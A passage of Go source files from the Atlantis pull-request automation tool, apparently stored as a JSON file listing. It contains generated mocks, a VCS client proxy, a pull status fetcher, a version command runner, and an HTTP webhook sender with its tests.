{\n\t\t\t\t_param5[u] = param.(string)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 6 {\n\t\t\t_param6 = make([]string, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[6] {\n\t\t\t\t_param6[u] = param.(string)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/vcs/mocks/mock_pull_req_status_fetcher.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/vcs (interfaces: PullReqStatusFetcher)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\tmodels \"github.com/runatlantis/atlantis/server/events/models\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockPullReqStatusFetcher struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockPullReqStatusFetcher(options ...pegomock.Option) *MockPullReqStatusFetcher {\n\tmock := &MockPullReqStatusFetcher{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockPullReqStatusFetcher) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockPullReqStatusFetcher) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error) {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockPullReqStatusFetcher().\")\n\t}\n\t_params := []pegomock.Param{logger, pull}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"FetchPullStatus\", _params, []reflect.Type{reflect.TypeOf((*models.PullReqStatus)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 models.PullReqStatus\n\tvar _ret1 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(models.PullReqStatus)\n\t\t}\n\t\tif _result[1] != nil {\n\t\t\t_ret1 = _result[1].(error)\n\t\t}\n\t}\n\treturn _ret0, _ret1\n}\n\nfunc (mock *MockPullReqStatusFetcher) VerifyWasCalledOnce() *VerifierMockPullReqStatusFetcher {\n\treturn &VerifierMockPullReqStatusFetcher{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockPullReqStatusFetcher) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockPullReqStatusFetcher {\n\treturn &VerifierMockPullReqStatusFetcher{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockPullReqStatusFetcher) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockPullReqStatusFetcher {\n\treturn &VerifierMockPullReqStatusFetcher{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockPullReqStatusFetcher) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockPullReqStatusFetcher {\n\treturn &VerifierMockPullReqStatusFetcher{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockPullReqStatusFetcher struct {\n\tmock                   *MockPullReqStatusFetcher\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockPullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification {\n\t_params := []pegomock.Param{logger, pull}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"FetchPullStatus\", _params, verifier.timeout)\n\treturn &MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification struct {\n\tmock              *MockPullReqStatusFetcher\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, models.PullRequest) {\n\tlogger, pull := c.GetAllCapturedArguments()\n\treturn logger[len(logger)-1], pull[len(pull)-1]\n}\n\nfunc (c *MockPullReqStatusFetcher_FetchPullStatus_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []models.PullRequest) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]models.PullRequest, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(models.PullRequest)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/vcs/not_configured_vcs_client.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage vcs\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// NotConfiguredVCSClient is used as a placeholder when Atlantis isn't configured\n// on startup to support a certain VCS host. For example, if there is no GitHub\n// config then this client will be used which will error if it's ever called.\ntype NotConfiguredVCSClient struct {\n\tHost models.VCSHostType\n}\n\nfunc (a *NotConfiguredVCSClient) GetModifiedFiles(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) {\n\treturn nil, a.err()\n}\nfunc (a *NotConfiguredVCSClient) CreateComment(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error {\n\treturn a.err()\n}\nfunc (a *NotConfiguredVCSClient) HidePrevCommandComments(_ logging.SimpleLogging, _ models.Repo, _ int, _ string, _ string) error {\n\treturn nil\n}\nfunc (a *NotConfiguredVCSClient) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error { // nolint: revive\n\treturn nil\n}\nfunc (a *NotConfiguredVCSClient) PullIsApproved(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) (models.ApprovalStatus, error) {\n\treturn models.ApprovalStatus{}, a.err()\n}\nfunc (a *NotConfiguredVCSClient) DiscardReviews(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) error {\n\treturn nil\n}\nfunc (a *NotConfiguredVCSClient) PullIsMergeable(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ string, _ []string) (models.MergeableStatus, error) {\n\treturn models.MergeableStatus{}, a.err()\n}\nfunc (a *NotConfiguredVCSClient) UpdateStatus(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest, _ models.CommitStatus, _ string, _ string, _ string) error {\n\treturn a.err()\n}\nfunc (a *NotConfiguredVCSClient) MergePull(_ logging.SimpleLogging, _ models.PullRequest, _ models.PullRequestOptions) error {\n\treturn a.err()\n}\nfunc (a *NotConfiguredVCSClient) MarkdownPullLink(_ models.PullRequest) (string, error) {\n\treturn \"\", a.err()\n}\nfunc (a *NotConfiguredVCSClient) err() error {\n\treturn fmt.Errorf(\"atlantis was not configured to support repos from %s\", a.Host.String())\n}\nfunc (a *NotConfiguredVCSClient) GetTeamNamesForUser(_ logging.SimpleLogging, _ models.Repo, _ models.User) ([]string, error) {\n\treturn nil, a.err()\n}\n\nfunc (a *NotConfiguredVCSClient) SupportsSingleFileDownload(_ models.Repo) bool {\n\treturn false\n}\n\nfunc (a *NotConfiguredVCSClient) GetFileContent(_ logging.SimpleLogging, _ models.Repo, _ string, _ string) (bool, []byte, error) {\n\treturn true, []byte{}, a.err()\n}\nfunc (a *NotConfiguredVCSClient) GetCloneURL(_ logging.SimpleLogging, _ models.VCSHostType, _ string) (string, error) {\n\treturn \"\", a.err()\n}\n\nfunc (a *NotConfiguredVCSClient) GetPullLabels(_ logging.SimpleLogging, _ models.Repo, _ models.PullRequest) ([]string, error) {\n\treturn nil, a.err()\n}\n"
  },
  {
    "path": "server/events/vcs/proxy.go",
    "content": "// Copyright 2017 HootSuite Media Inc.\n//\n// Licensed under the Apache License, Version 2.0 (the License);\n// you may not use this file except in compliance with the License.\n// You may obtain a copy of the License at\n//    http://www.apache.org/licenses/LICENSE-2.0\n// Unless required by applicable law or agreed to in writing, software\n// distributed under the License is distributed on an AS IS BASIS,\n// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n// See the License for the specific language governing permissions and\n// limitations under the License.\n// Modified hereafter by contributors to runatlantis/atlantis.\n\npackage vcs\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// ClientProxy proxies calls to the correct VCS client depending on which\n// VCS host is required.\ntype ClientProxy struct {\n\t// clients maps from the vcs host type to the client that implements the\n\t// api for that host type, ex. github -> github client.\n\tclients map[models.VCSHostType]Client\n}\n\nfunc NewClientProxy(githubClient Client, gitlabClient Client, bitbucketCloudClient Client, bitbucketServerClient Client, azuredevopsClient Client, giteaClient Client) *ClientProxy {\n\tif githubClient == nil {\n\t\tgithubClient = &NotConfiguredVCSClient{}\n\t}\n\tif gitlabClient == nil {\n\t\tgitlabClient = &NotConfiguredVCSClient{}\n\t}\n\tif bitbucketCloudClient == nil {\n\t\tbitbucketCloudClient = &NotConfiguredVCSClient{}\n\t}\n\tif bitbucketServerClient == nil {\n\t\tbitbucketServerClient = &NotConfiguredVCSClient{}\n\t}\n\tif azuredevopsClient == nil {\n\t\tazuredevopsClient = &NotConfiguredVCSClient{}\n\t}\n\tif giteaClient == nil {\n\t\tgiteaClient = &NotConfiguredVCSClient{}\n\t}\n\treturn &ClientProxy{\n\t\tclients: map[models.VCSHostType]Client{\n\t\t\tmodels.Github:          githubClient,\n\t\t\tmodels.Gitlab:          gitlabClient,\n\t\t\tmodels.BitbucketCloud:  bitbucketCloudClient,\n\t\t\tmodels.BitbucketServer: bitbucketServerClient,\n\t\t\tmodels.AzureDevops:     azuredevopsClient,\n\t\t\tmodels.Gitea:           giteaClient,\n\t\t},\n\t}\n}\n\nfunc (d *ClientProxy) GetModifiedFiles(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\treturn d.clients[repo.VCSHost.Type].GetModifiedFiles(logger, repo, pull)\n}\n\nfunc (d *ClientProxy) CreateComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, comment string, command string) error {\n\treturn d.clients[repo.VCSHost.Type].CreateComment(logger, repo, pullNum, comment, command)\n}\n\nfunc (d *ClientProxy) HidePrevCommandComments(logger logging.SimpleLogging, repo models.Repo, pullNum int, command string, dir string) error {\n\treturn d.clients[repo.VCSHost.Type].HidePrevCommandComments(logger, repo, pullNum, command, dir)\n}\n\nfunc (d *ClientProxy) ReactToComment(logger logging.SimpleLogging, repo models.Repo, pullNum int, commentID int64, reaction string) error {\n\treturn d.clients[repo.VCSHost.Type].ReactToComment(logger, repo, pullNum, commentID, reaction)\n}\n\nfunc (d *ClientProxy) PullIsApproved(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) (models.ApprovalStatus, error) {\n\treturn d.clients[repo.VCSHost.Type].PullIsApproved(logger, repo, pull)\n}\n\nfunc (d *ClientProxy) DiscardReviews(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) error {\n\treturn d.clients[repo.VCSHost.Type].DiscardReviews(logger, repo, pull)\n}\n\nfunc (d *ClientProxy) PullIsMergeable(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, vcsstatusname string, ignoreVCSStatusNames []string) (models.MergeableStatus, error) {\n\treturn d.clients[repo.VCSHost.Type].PullIsMergeable(logger, repo, pull, vcsstatusname, ignoreVCSStatusNames)\n}\n\nfunc (d *ClientProxy) UpdateStatus(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest, state models.CommitStatus, src string, description string, url string) error {\n\treturn d.clients[repo.VCSHost.Type].UpdateStatus(logger, repo, pull, state, src, description, url)\n}\n\nfunc (d *ClientProxy) MergePull(logger logging.SimpleLogging, pull models.PullRequest, pullOptions models.PullRequestOptions) error {\n\treturn d.clients[pull.BaseRepo.VCSHost.Type].MergePull(logger, pull, pullOptions)\n}\n\nfunc (d *ClientProxy) MarkdownPullLink(pull models.PullRequest) (string, error) {\n\treturn d.clients[pull.BaseRepo.VCSHost.Type].MarkdownPullLink(pull)\n}\n\nfunc (d *ClientProxy) GetTeamNamesForUser(logger logging.SimpleLogging, repo models.Repo, user models.User) ([]string, error) {\n\treturn d.clients[repo.VCSHost.Type].GetTeamNamesForUser(logger, repo, user)\n}\n\nfunc (d *ClientProxy) GetFileContent(logger logging.SimpleLogging, repo models.Repo, branch string, fileName string) (bool, []byte, error) {\n\treturn d.clients[repo.VCSHost.Type].GetFileContent(logger, repo, branch, fileName)\n}\n\nfunc (d *ClientProxy) SupportsSingleFileDownload(repo models.Repo) bool {\n\treturn d.clients[repo.VCSHost.Type].SupportsSingleFileDownload(repo)\n}\n\nfunc (d *ClientProxy) GetCloneURL(logger logging.SimpleLogging, VCSHostType models.VCSHostType, repo string) (string, error) {\n\treturn d.clients[VCSHostType].GetCloneURL(logger, VCSHostType, repo)\n}\n\nfunc (d *ClientProxy) GetPullLabels(logger logging.SimpleLogging, repo models.Repo, pull models.PullRequest) ([]string, error) {\n\treturn d.clients[repo.VCSHost.Type].GetPullLabels(logger, repo, pull)\n}\n"
  },
  {
    "path": "server/events/vcs/pull_status_fetcher.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage vcs\n\nimport (\n\t\"fmt\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n//go:generate pegomock generate github.com/runatlantis/atlantis/server/events/vcs --package mocks -o mocks/mock_pull_req_status_fetcher.go PullReqStatusFetcher\n\ntype PullReqStatusFetcher interface {\n\tFetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (models.PullReqStatus, error)\n}\n\ntype pullReqStatusFetcher struct {\n\tclient               Client\n\tvcsStatusName        string\n\tignoreVCSStatusNames []string\n}\n\nfunc NewPullReqStatusFetcher(client Client, vcsStatusName string, ignoreVCSStatusNames []string) PullReqStatusFetcher {\n\treturn &pullReqStatusFetcher{\n\t\tclient:               client,\n\t\tvcsStatusName:        vcsStatusName,\n\t\tignoreVCSStatusNames: ignoreVCSStatusNames,\n\t}\n}\n\nfunc (f *pullReqStatusFetcher) FetchPullStatus(logger logging.SimpleLogging, pull models.PullRequest) (pullStatus models.PullReqStatus, err error) {\n\tapprovalStatus, err := f.client.PullIsApproved(logger, pull.BaseRepo, pull)\n\tif err != nil {\n\t\treturn pullStatus, fmt.Errorf(\"fetching pull approval status for repo: %s, and pull number: %d: %w\", pull.BaseRepo.FullName, pull.Num, err)\n\t}\n\n\tmergeable, err := f.client.PullIsMergeable(logger, pull.BaseRepo, pull, f.vcsStatusName, f.ignoreVCSStatusNames)\n\tif err != nil {\n\t\treturn pullStatus, fmt.Errorf(\"fetching mergeability status for repo: %s, and pull number: %d: %w\", pull.BaseRepo.FullName, pull.Num, err)\n\t}\n\n\treturn models.PullReqStatus{\n\t\tApprovalStatus:  approvalStatus,\n\t\tMergeableStatus: mergeable,\n\t}, err\n}\n"
  },
  {
    "path": "server/events/vcs/vcs.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage vcs\n"
  },
  {
    "path": "server/events/version_command_runner.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage events\n\nimport (\n\t\"github.com/runatlantis/atlantis/server/events/command\"\n)\n\nfunc NewVersionCommandRunner(\n\tpullUpdater *PullUpdater,\n\tprjCmdBuilder ProjectVersionCommandBuilder,\n\tprjCmdRunner ProjectVersionCommandRunner,\n\tparallelPoolSize int,\n\tsilenceVCSStatusNoProjects bool,\n) *VersionCommandRunner {\n\treturn &VersionCommandRunner{\n\t\tpullUpdater:                pullUpdater,\n\t\tprjCmdBuilder:              prjCmdBuilder,\n\t\tprjCmdRunner:               prjCmdRunner,\n\t\tparallelPoolSize:           parallelPoolSize,\n\t\tsilenceVCSStatusNoProjects: silenceVCSStatusNoProjects,\n\t}\n}\n\ntype VersionCommandRunner struct {\n\tpullUpdater      *PullUpdater\n\tprjCmdBuilder    ProjectVersionCommandBuilder\n\tprjCmdRunner     ProjectVersionCommandRunner\n\tparallelPoolSize int\n\t// SilenceVCSStatusNoProjects is whether any plan should set commit status if no projects\n\t// are found\n\tsilenceVCSStatusNoProjects bool\n}\n\nfunc (v *VersionCommandRunner) Run(ctx *command.Context, cmd *CommentCommand) {\n\tvar err error\n\tvar projectCmds []command.ProjectContext\n\tprojectCmds, err = v.prjCmdBuilder.BuildVersionCommands(ctx, cmd)\n\tif err != nil {\n\t\tctx.Log.Warn(\"Error %s\", err)\n\t}\n\n\tif len(projectCmds) == 0 {\n\t\tctx.Log.Info(\"no projects to run version in\")\n\t\treturn\n\t}\n\n\t// Only run commands in parallel if enabled\n\tvar result command.Result\n\tif v.isParallelEnabled(projectCmds) {\n\t\tctx.Log.Info(\"Running version in parallel\")\n\t\tresult = runProjectCmdsParallelGroups(ctx, projectCmds, v.prjCmdRunner.Version, v.parallelPoolSize)\n\t} else {\n\t\tresult = runProjectCmds(projectCmds, v.prjCmdRunner.Version)\n\t}\n\n\tv.pullUpdater.updatePull(ctx, cmd, result)\n}\n\nfunc (v *VersionCommandRunner) isParallelEnabled(cmds []command.ProjectContext) bool {\n\treturn len(cmds) > 0 && cmds[0].ParallelPolicyCheckEnabled\n}\n"
  },
  {
    "path": "server/events/webhooks/http.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage webhooks\n\nimport (\n\t\"bytes\"\n\t\"encoding/json\"\n\t\"fmt\"\n\t\"io\"\n\t\"net/http\"\n\t\"regexp\"\n\n\t\"github.com/runatlantis/atlantis/server/logging\"\n)\n\n// HttpWebhook sends webhooks to any HTTP destination.\ntype HttpWebhook struct {\n\tClient         *HttpClient\n\tWorkspaceRegex *regexp.Regexp\n\tBranchRegex    *regexp.Regexp\n\tURL            string\n}\n\n// Send sends the webhook to URL if workspace and branch matches their respective regex.\nfunc (h *HttpWebhook) Send(_ logging.SimpleLogging, applyResult ApplyResult) error {\n\tif !h.WorkspaceRegex.MatchString(applyResult.Workspace) || !h.BranchRegex.MatchString(applyResult.Pull.BaseBranch) {\n\t\treturn nil\n\t}\n\tif err := h.doSend(applyResult); err != nil {\n\t\treturn fmt.Errorf(\"sending webhook to %q: %w\", h.URL, err)\n\t}\n\treturn nil\n}\n\nfunc (h *HttpWebhook) doSend(applyResult ApplyResult) error {\n\tbody, err := json.Marshal(applyResult)\n\tif err != nil {\n\t\treturn err\n\t}\n\treq, err := http.NewRequest(\"POST\", h.URL, bytes.NewBuffer(body))\n\tif err != nil {\n\t\treturn err\n\t}\n\treq.Header.Set(\"Content-Type\", \"application/json\")\n\tfor header, values := range h.Client.Headers {\n\t\tfor _, value := range values {\n\t\t\treq.Header.Add(header, value)\n\t\t}\n\t}\n\tresp, err := h.Client.Client.Do(req)\n\tif err != nil {\n\t\treturn err\n\t}\n\tdefer resp.Body.Close()\n\tif resp.StatusCode != http.StatusOK {\n\t\trespBody, _ := io.ReadAll(resp.Body)\n\t\treturn fmt.Errorf(\"returned status code %d with response %q\", resp.StatusCode, respBody)\n\t}\n\treturn nil\n}\n\n// HttpClient wraps http.Client allowing to add arbitrary Headers to a request.\ntype HttpClient struct {\n\tClient  *http.Client\n\tHeaders map[string][]string\n}\n"
  },
  {
    "path": "server/events/webhooks/http_test.go",
    "content": "// Copyright 2025 The Atlantis Authors\n// SPDX-License-Identifier: Apache-2.0\n\npackage webhooks_test\n\nimport (\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"regexp\"\n\t\"testing\"\n\n\t\"github.com/runatlantis/atlantis/server/events/models\"\n\t\"github.com/runatlantis/atlantis/server/events/webhooks\"\n\t\"github.com/runatlantis/atlantis/server/logging\"\n\t. \"github.com/runatlantis/atlantis/testing\"\n)\n\nvar httpApplyResult = webhooks.ApplyResult{\n\tWorkspace: \"production\",\n\tRepo: models.Repo{\n\t\tFullName: \"runatlantis/atlantis\",\n\t},\n\tPull: models.PullRequest{\n\t\tNum:        1,\n\t\tURL:        \"url\",\n\t\tBaseBranch: \"main\",\n\t},\n\tUser: models.User{\n\t\tUsername: \"lkysow\",\n\t},\n\tSuccess: true,\n}\n\nfunc TestHttpWebhookWithHeaders(t *testing.T) {\n\texpectedHeaders := map[string][]string{\n\t\t\"Authorization\":   {\"Bearer token\"},\n\t\t\"X-Custom-Header\": {\"value1\", \"value2\"},\n\t}\n\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tEquals(t, r.Header.Get(\"Content-Type\"), \"application/json\")\n\t\tfor k, v := range expectedHeaders {\n\t\t\tEquals(t, r.Header.Values(k), v)\n\t\t}\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\twebhook := webhooks.HttpWebhook{\n\t\tClient:         &webhooks.HttpClient{Client: http.DefaultClient, Headers: expectedHeaders},\n\t\tURL:            server.URL,\n\t\tWorkspaceRegex: regexp.MustCompile(\".*\"),\n\t\tBranchRegex:    regexp.MustCompile(\".*\"),\n\t}\n\n\terr := webhook.Send(logging.NewNoopLogger(t), httpApplyResult)\n\tOk(t, err)\n}\n\nfunc TestHttpWebhookNoHeaders(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tEquals(t, r.Header.Get(\"Content-Type\"), \"application/json\")\n\t\tw.WriteHeader(http.StatusOK)\n\t}))\n\tdefer server.Close()\n\n\twebhook := webhooks.HttpWebhook{\n\t\tClient:         &webhooks.HttpClient{Client: http.DefaultClient},\n\t\tURL:            server.URL,\n\t\tWorkspaceRegex: regexp.MustCompile(\".*\"),\n\t\tBranchRegex:    regexp.MustCompile(\".*\"),\n\t}\n\n\terr := webhook.Send(logging.NewNoopLogger(t), httpApplyResult)\n\tOk(t, err)\n}\n\nfunc TestHttpWebhook500(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tw.WriteHeader(http.StatusInternalServerError)\n\t}))\n\tdefer server.Close()\n\n\twebhook := webhooks.HttpWebhook{\n\t\tClient:         &webhooks.HttpClient{Client: http.DefaultClient},\n\t\tURL:            server.URL,\n\t\tWorkspaceRegex: regexp.MustCompile(\".*\"),\n\t\tBranchRegex:    regexp.MustCompile(\".*\"),\n\t}\n\n\terr := webhook.Send(logging.NewNoopLogger(t), httpApplyResult)\n\tErrContains(t, \"sending webhook\", err)\n}\n\nfunc TestHttpNoRegexMatch(t *testing.T) {\n\tserver := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tAssert(t, false, \"webhook should not be sent\")\n\t}))\n\tdefer server.Close()\n\n\ttt := []struct {\n\t\tname string\n\t\twr   *regexp.Regexp\n\t\tbr   *regexp.Regexp\n\t}{\n\t\t{\n\t\t\tname: \"no workspace match\",\n\t\t\twr:   regexp.MustCompile(\"other\"),\n\t\t\tbr:   regexp.MustCompile(\".*\"),\n\t\t},\n\t\t{\n\t\t\tname: \"no branch match\",\n\t\t\twr:   regexp.MustCompile(\".*\"),\n\t\t\tbr:   regexp.MustCompile(\"other\"),\n\t\t},\n\t}\n\n\tfor _, tc := range tt {\n\t\tt.Run(tc.name, func(t *testing.T) {\n\t\t\twebhook := webhooks.HttpWebhook{\n\t\t\t\tClient:         &webhooks.HttpClient{Client: http.DefaultClient},\n\t\t\t\tURL:            server.URL,\n\t\t\t\tWorkspaceRegex: tc.wr,\n\t\t\t\tBranchRegex:    tc.br,\n\t\t\t}\n\t\t\terr := webhook.Send(logging.NewNoopLogger(t), httpApplyResult)\n\t\t\tOk(t, err)\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "server/events/webhooks/mocks/mock_sender.go",
    "content": "// Code generated by pegomock. DO NOT EDIT.\n// Source: github.com/runatlantis/atlantis/server/events/webhooks (interfaces: Sender)\n\npackage mocks\n\nimport (\n\tpegomock \"github.com/petergtz/pegomock/v4\"\n\twebhooks \"github.com/runatlantis/atlantis/server/events/webhooks\"\n\tlogging \"github.com/runatlantis/atlantis/server/logging\"\n\t\"reflect\"\n\t\"time\"\n)\n\ntype MockSender struct {\n\tfail func(message string, callerSkip ...int)\n}\n\nfunc NewMockSender(options ...pegomock.Option) *MockSender {\n\tmock := &MockSender{}\n\tfor _, option := range options {\n\t\toption.Apply(mock)\n\t}\n\treturn mock\n}\n\nfunc (mock *MockSender) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh }\nfunc (mock *MockSender) FailHandler() pegomock.FailHandler      { return mock.fail }\n\nfunc (mock *MockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) error {\n\tif mock == nil {\n\t\tpanic(\"mock must not be nil. Use myMock := NewMockSender().\")\n\t}\n\t_params := []pegomock.Param{log, applyResult}\n\t_result := pegomock.GetGenericMockFrom(mock).Invoke(\"Send\", _params, []reflect.Type{reflect.TypeOf((*error)(nil)).Elem()})\n\tvar _ret0 error\n\tif len(_result) != 0 {\n\t\tif _result[0] != nil {\n\t\t\t_ret0 = _result[0].(error)\n\t\t}\n\t}\n\treturn _ret0\n}\n\nfunc (mock *MockSender) VerifyWasCalledOnce() *VerifierMockSender {\n\treturn &VerifierMockSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: pegomock.Times(1),\n\t}\n}\n\nfunc (mock *MockSender) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockSender {\n\treturn &VerifierMockSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t}\n}\n\nfunc (mock *MockSender) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockSender {\n\treturn &VerifierMockSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\tinOrderContext:         inOrderContext,\n\t}\n}\n\nfunc (mock *MockSender) VerifyWasCalledEventually(invocationCountMatcher pegomock.InvocationCountMatcher, timeout time.Duration) *VerifierMockSender {\n\treturn &VerifierMockSender{\n\t\tmock:                   mock,\n\t\tinvocationCountMatcher: invocationCountMatcher,\n\t\ttimeout:                timeout,\n\t}\n}\n\ntype VerifierMockSender struct {\n\tmock                   *MockSender\n\tinvocationCountMatcher pegomock.InvocationCountMatcher\n\tinOrderContext         *pegomock.InOrderContext\n\ttimeout                time.Duration\n}\n\nfunc (verifier *VerifierMockSender) Send(log logging.SimpleLogging, applyResult webhooks.ApplyResult) *MockSender_Send_OngoingVerification {\n\t_params := []pegomock.Param{log, applyResult}\n\tmethodInvocations := pegomock.GetGenericMockFrom(verifier.mock).Verify(verifier.inOrderContext, verifier.invocationCountMatcher, \"Send\", _params, verifier.timeout)\n\treturn &MockSender_Send_OngoingVerification{mock: verifier.mock, methodInvocations: methodInvocations}\n}\n\ntype MockSender_Send_OngoingVerification struct {\n\tmock              *MockSender\n\tmethodInvocations []pegomock.MethodInvocation\n}\n\nfunc (c *MockSender_Send_OngoingVerification) GetCapturedArguments() (logging.SimpleLogging, webhooks.ApplyResult) {\n\tlog, applyResult := c.GetAllCapturedArguments()\n\treturn log[len(log)-1], applyResult[len(applyResult)-1]\n}\n\nfunc (c *MockSender_Send_OngoingVerification) GetAllCapturedArguments() (_param0 []logging.SimpleLogging, _param1 []webhooks.ApplyResult) {\n\t_params := pegomock.GetGenericMockFrom(c.mock).GetInvocationParams(c.methodInvocations)\n\tif len(_params) > 0 {\n\t\tif len(_params) > 0 {\n\t\t\t_param0 = make([]logging.SimpleLogging, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[0] {\n\t\t\t\t_param0[u] = param.(logging.SimpleLogging)\n\t\t\t}\n\t\t}\n\t\tif len(_params) > 1 {\n\t\t\t_param1 = make([]webhooks.ApplyResult, len(c.methodInvocations))\n\t\t\tfor u, param := range _params[1] {\n\t\t\t\t_param1[u] = param.(webhooks.ApplyResult)\n\t\t\t}\n\t\t}\n\t}\n\treturn\n}\n"
  },
  {
    "path": "server/events/webhooks/mocks/mock_slack_client.go",
